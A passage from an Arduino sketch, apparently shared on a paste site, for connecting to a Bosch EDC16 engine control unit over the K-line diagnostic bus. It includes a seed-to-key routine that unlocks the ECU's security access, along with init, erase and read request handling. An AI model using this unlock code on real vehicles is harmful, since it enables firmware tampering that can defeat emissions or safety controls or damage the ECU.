 - temp2=KeyRead2&0xFFFF;
 - temp3=tempstring&0xFFFF0000;
 - temp2=temp2 >> 0x0F;
 - tempstring=temp2+temp3;
 - tempstring=tempstring|KeyRead1;
 - Magic1=Magic1^0x1289;
 - tempstring=tempstring^0x0A22;
 - KeyRead2=Magic1;
 - KeyRead1=tempstring;
 - }
 - counter++;
 - }
 - SDbuffer[0]=0x86;
 - SDbuffer[1]=0x10;
 - SDbuffer[2]=0xF1;
 - SDbuffer[3]=0x27;
 - SDbuffer[4]=0x02;
 - //Extract the key bytes
 - SDbuffer[6]=KeyRead1;
 - KeyRead1 = KeyRead1>>8;
 - SDbuffer[5]=KeyRead1;
 - SDbuffer[8]=KeyRead2;
 - KeyRead2 = KeyRead2>>8;
 - SDbuffer[7]=KeyRead2;
 - SDbuffer [9]=iso_checksum(SDbuffer,9);
 - //done, now send the bytes
 - delay(25);
 - WriteString(10);
 - boolean check=iso_readstring(6,5);//Ack for correct key sent
 - if (!check)
 - {
 - flp("Seed auth failed!");
 - Serial.println();
 - delay(2000);
 - return 0;
 - }
 - flp("Done!");
 - Serial.println();
 - return 1;
 - }
 - //*************ECU wakeup operations****************//
 - boolean EDC16CommonStart()
 - {
 - flp("Connecting...");
 - setspeed=10400;
 - byte countercrap=0;
 - boolean pitipoop=0;
 - while (!pitipoop && countercrap<20)
 - {
 - pitipoop=ShortBurst();
 - countercrap++;
 - }
 - if (countercrap==20)
 - {
 - flp("No response!");
 - Serial.println();
 - delay(2000);
 - return 0;
 - }
 - flp("Done!");
 - Serial.println();
 - return 1;
 - }
 - boolean Bitbang()//Since we cannot set the serial port at 5 baud, we must go digital!
 - {
 - serial_tx_off(); //Send address 0x01@5baud
 - serial_rx_off();
 - digitalWrite(K_OUT, HIGH);
 - delay(300);
 - digitalWrite(K_OUT, LOW);
 - delay(200);
 - digitalWrite(K_OUT, HIGH);
 - delay(200);
 - digitalWrite(K_OUT, LOW);
 - delay(1400);
 - digitalWrite(K_OUT, HIGH);
 - setspeed=10400;
 - Serial2.begin(10400);
 - if (!CheckRec(0x55))
 - {
 - return 0;
 - }
 - return 1;
 - }
 - boolean SlowInit()
 - {
 - flp("Connecting...");
 - byte counter=0;
 - boolean pitipoop=0;
 - while (!pitipoop && counter<6)//We will try to connect 6 times
 - {
 - pitipoop=Bitbang();
 - counter++;
 - }
 - if (counter==6)
 - {
 - return 0;
 - }
 - iso_read_byte();
 - iso_read_byte();
 - delay(45);
 - iso_write_byte(~b);
 - CheckRec(0xFE);
 - delay(45);
 - iso_sendstring(4,1);
 - iso_readstring(6,1);
 - flp("Done!");
 - Serial.println();
 - return 1;
 - }
 - boolean ShortBurst()
 - {
 - serial_tx_off(); //disable UART so we can "bit-Bang" the fast init.
 - serial_rx_off();
 - digitalWrite(K_OUT, LOW);
 - delay(25);
 - digitalWrite(K_OUT, HIGH);
 - serial_rx_on_();
 - delay(25);
 - iso_sendstring(4,1);
 - byte counter=0;
 - while (counter < 200 && Serial2.available()<1)//We will try to connect to it a few times
 - {
 - delay(1);
 - counter++;
 - }
 - if (Serial2.available()<1)
 - {
 - return 0;
 - }
 - iso_readstring(6,1);
 - delay(75);
 - return 1;
 - }
 - /**********Response handling operations********/
 - void CheckAck()//Acknowledge from ECU during write proccess
 - {
 - CheckRec(0x00);
 - CheckRec(0x01);
 - CheckRec(0x76);
 - CheckRec(0x77);
 - }
 - void CloseEDC16Ecu()//Closing communications with the ECU
 - {
 - delay(10);
 - iso_write_byte(0x81);
 - iso_write_byte(0x10);
 - iso_write_byte(0xF1);
 - iso_write_byte(0x82);
 - iso_write_byte(0x04);
 - CheckRec(0x81);
 - CheckRec(0xF1);
 - CheckRec(0x10);
 - CheckRec(0xC2);
 - CheckRec(0x44);
 - }
 - //**************Serial ports handling***************//
 - void serial_rx_on_()
 - {
 - Serial2.begin(setspeed);
 - }
 - void serial_rx_off()
 - {
 - UCSR2B &= ~(_BV(RXEN2)); //disable UART RX
 - }
 - void serial_tx_off()
 - {
 - UCSR2B &= ~(_BV(TXEN2)); //disable UART TX
 - delay(20); //allow time for buffers to flush
 - }
 - //***********Single byte ISO reading and writing***********//
 - void iso_read_byte()
 - {
 - int READ_ATTEMPTS=600;
 - int readData;
 - boolean success = true;
 - int t=0;
 - b=0;
 - while(t != READ_ATTEMPTS && Serial2.available() < 1)
 - {
 - delay(1);
 - t++;
 - }
 - if (t >= READ_ATTEMPTS)
 - {
 - success = false;
 - }
 - if (success)
 - {
 - b = Serial2.read();
 - }
 - }
 - void iso_write_byte(byte j)
 - {
 - serial_rx_off();
 - Serial2.write(j);
 - if (setspeed ==10400)
 - {
 - delay(1);
 - }
 - if (setspeed !=10400)
 - {
 - delayMicroseconds(30);
 - }
 - serial_rx_on_();
 - }
 - //******************Read and send strings of data************//
 - boolean iso_readstring(byte leng, byte op)//Expected strings from ECU
 - {
 - byte tmpc = 0;
 - byte ff;
 - for (tmpc=0;tmpc<leng;tmpc++)
 - {
 - if (op==1)//Commonstart
 - {
 - ff=pgm_read_byte(&EDC16_ECUBytes[tmpc]);
 - }
 - if (op==2)
 - {
 - ff=pgm_read_byte(&M58BW016xB_Read_ECUBytes[tmpc]);
 - }
 - if (op==3)
 - {
 - ff=pgm_read_byte(&Req250k_ECUBytes[tmpc]);//Answer to request to change speed to 250k
 - }
 - if (op==4)
 - {
 - ff=pgm_read_byte(&Lvl3Sec_ECUBytes[tmpc]);
 - }
 - if (op==5)
 - {
 - ff=pgm_read_byte(&Lvl1Sec_ECUBytes[tmpc]);
 - }
 - if (op==6)
 - {
 - ff=pgm_read_byte(&M58BW016xB_WriteAck_ECUBytes[tmpc]);
 - }
 - if (op==7)
 - {
 - ff=pgm_read_byte(&M58BW016xB_AddrAck_ECUBytes[tmpc]);
 - }
 - CheckRec(ff);
 - SDbuffer[tmpc]=ff;
 - }
 - SDbuffer [tmpc]=iso_checksum(SDbuffer,tmpc); //Checks that the checksum is correct
 - iscrc=1;
 - boolean check= CheckRec(SDbuffer[tmpc]);
 - if (!check)
 - {
 - iscrc=0;
 - return 0;
 - }
 - iscrc=0;
 - return 1;
 - }
 - void iso_sendstring(byte leng, byte op)//Sends a string stored in flash
 - {
 - byte tmpc = 0;
 - for (tmpc=0;tmpc<leng;tmpc++)
 - {
 - if (op==1)//Commonstart
 - {
 - b=pgm_read_byte(&EDC16ArduBytes[tmpc]);
 - }
 - if (op==2)
 - {
 - b=pgm_read_byte(&M58BW016xB_Read_ArduBytes[tmpc]);
 - }
 - if (op==3)
 - {
 - b=pgm_read_byte(&Req250k_ArduBytes[tmpc]);
 - }
 - if (op==4)
 - {
 - b=pgm_read_byte(&Lvl3Sec_ArduBytes[tmpc]);
 - }
 - if (op==5)
 - {
 - b=pgm_read_byte(&Lvl1Sec_ArduBytes[tmpc]);
 - }
 - if (op==6)
 - {
 - b=pgm_read_byte(&EDC16Info_ArduBytes[tmpc]);
 - }
 - if (op==8)
 - {
 - b=pgm_read_byte(&EDC16Erase_ArduBytes[tmpc]);
 - }
 - if (op==9)
 - {
 - b=pgm_read_byte(&Req124k_ArduBytes[tmpc]);
 - }
 - iso_write_byte(b);
 - SDbuffer[tmpc]=b;
 - }
 - b=iso_checksum(SDbuffer,tmpc);
 - iso_write_byte(b);
 - }
 - void WriteString(byte leng)//Writes an entire string stored in SDbuffer
 - {
 - for (byte crap=0; crap<leng; crap++)
 - {
 - iso_write_byte(SDbuffer[crap]);
 - }
 - }
 - void ReadString()//Reads an entire string and stores it to SDbuffer
 - {
 - while(Serial2.available()<1)
 - {}
 - byte crap=0;
 - while(Serial2.available()>0)
 - {
 - iso_read_byte();
 - SDbuffer[crap]=b;
 - crap++;
 - delay(1);
 - }
 - }
 - //***************Data handling and checks**************//
 - //CRC calculation
 - byte iso_checksum(byte *data, long len)
 - {
 - byte crc=0;
 - for(word i=0; i<len; i++)
 - crc=crc+data[i];
 - return crc;
 - }
 - //Checks if the byte we receive is the one we expect
 - boolean CheckRec(byte p)
 - {
 - iso_read_byte();
 - if ( b == 0 && p != 0)
 - {
 - iso_read_byte();
 - }
 - if ( b!= p )
 - {
 - if (iscrc == 1)//This needs to be implemented, all results will return 0 now
 - {
 - return 0;
 - }
 - if (b==0)
 - {
 - return 0;
 - }
 - if (b!=0)
 - {
 - return 0;
 - }
 - }
 - return 1;
 - }
 - //********************Menu and buttons handling**************//
 - byte CheckButtonPressed()//Just waits for the user input for the next action
 - {
 - while(Serial.available() < 1){}
 - optionset=Serial.read();
 - return 0;
 - }
 - //************************Other operations****************//
 - void VariablesInit()//Restarts the variables
 - {
 - fail=0;
 - setspeed=10400;
 - success = 0;
 - iscrc=0;
 - EDC16ReadDone=0;
 - checksum1=0;
 - checksum2=0;
 - kill=0;
 - }
 - void flashprint (const char p[])//Helps saving lots of RAM by storing strings on the flash
 - {
 - byte g;
 - while (0 != (g = pgm_read_byte(p++))) {
 - char j=g;
 - Serial.print(j);
 - }
 - }
 - ///////////////////////////////////
 
Advertisement
 
                    Add Comment                
                
                        Please, Sign In to add comment